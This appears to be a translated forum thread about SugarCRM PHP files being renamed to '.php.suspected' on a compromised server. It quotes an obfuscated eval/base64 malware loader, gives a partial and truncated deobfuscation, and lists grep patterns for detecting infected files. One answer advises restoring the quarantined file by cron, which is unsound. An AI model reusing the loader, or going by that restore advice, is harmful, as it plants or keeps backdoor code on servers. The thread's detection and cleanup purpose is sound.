Depuis 4 jours, nous sommes confrontés à un problème étrange sur notre serveur de production (instance AWS EC2) spécifique à un seul site, SugarCRM.
Le problème est /home/file_site/public_html/include/MassUpdate.php. Le fichier est renommé automatiquement en /home/file_site/public_html/include/MassUpdate.php.suspected.
Cela se produit 2 à 3 fois par jour avec 3 à 4 heures d’écart. Ce problème se produit uniquement dans le cas d'un site spécifique, même s'il ne se produit pas pour la réplication intermédiaire du même site. J'ai même vérifié le code de ce fichier sur les deux sites, c'est pareil.
Nous avons vu Google et trouvé, ce problème se produit principalement pour les sites Wordpress et pourrait être en raison d'une attaque. Mais nous avons vérifié notre serveur contre l'attaque, il n'y en a pas. En outre, aucune analyse de virus/programmes malveillants ne s'exécute sur le serveur.
Que devrions nous faire?
Mise à jour: Nous avons trouvé peu de choses après avoir parcouru ce link Nous avons exécuté egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/
et constaté qu'il y avait peu de fichiers avec l'exemple de code suivant.
<?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>
Il semble y avoir des malwares, comment on les supprime définitivement?
Merci
En affichant cette réponse, cela pourrait aider les autres.
#Rename your_file_name.php.suspected to your_file_name.php
mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php
*/10 * * * * path_to_cron_file.sh
Vous aurez beaucoup de documentation sur la création de cron sur Google.
C'est un peu obscurci, mais je l'ai désobscurci. La fonction flnftovr prend une chaîne et un tableau comme arguments. Il crée une nouvelle chaîne $ ggy en utilisant la formule
isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}
Il ajoute ensuite base64_decode à la chaîne.
La chaîne est $ s, le tableau est $ koicev. Il évalue ensuite le résultat de cette manipulation. Alors éventuellement une chaîne est créée:
base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)
Donc, ce qui est réellement exécuté sur votre serveur est:
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if(isset($_SERVER)
encode(serialize($res));
}
Si vous ne créez pas cela et que vous soupçonnez que votre site a été piraté, je vous suggère d'essuyer le serveur et de créer une nouvelle installation des applications exécutées sur votre serveur.
Le changement de nom des fichiers .php
en .php.suspected
continue de se produire aujourd'hui. Les commandes suivantes ne doivent pas fournir quelque chose:
find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print
Dans mon cas, les fichiers infectés pourraient être localisés avec les commandes suivantes:
cd <web site root>
egrep -Rl '\$GLOBALS.*\\x'
egrep -Rl -Ezo '/\*(\w+)\*/\s*@include\s*[^;]+;\s*/\*'
egrep -Rl -E '^.+(\$_COOKIE|\$_POST).+eval.+$'
J'ai préparé une description plus longue du problème et de la manière de le résoudre à GitHub .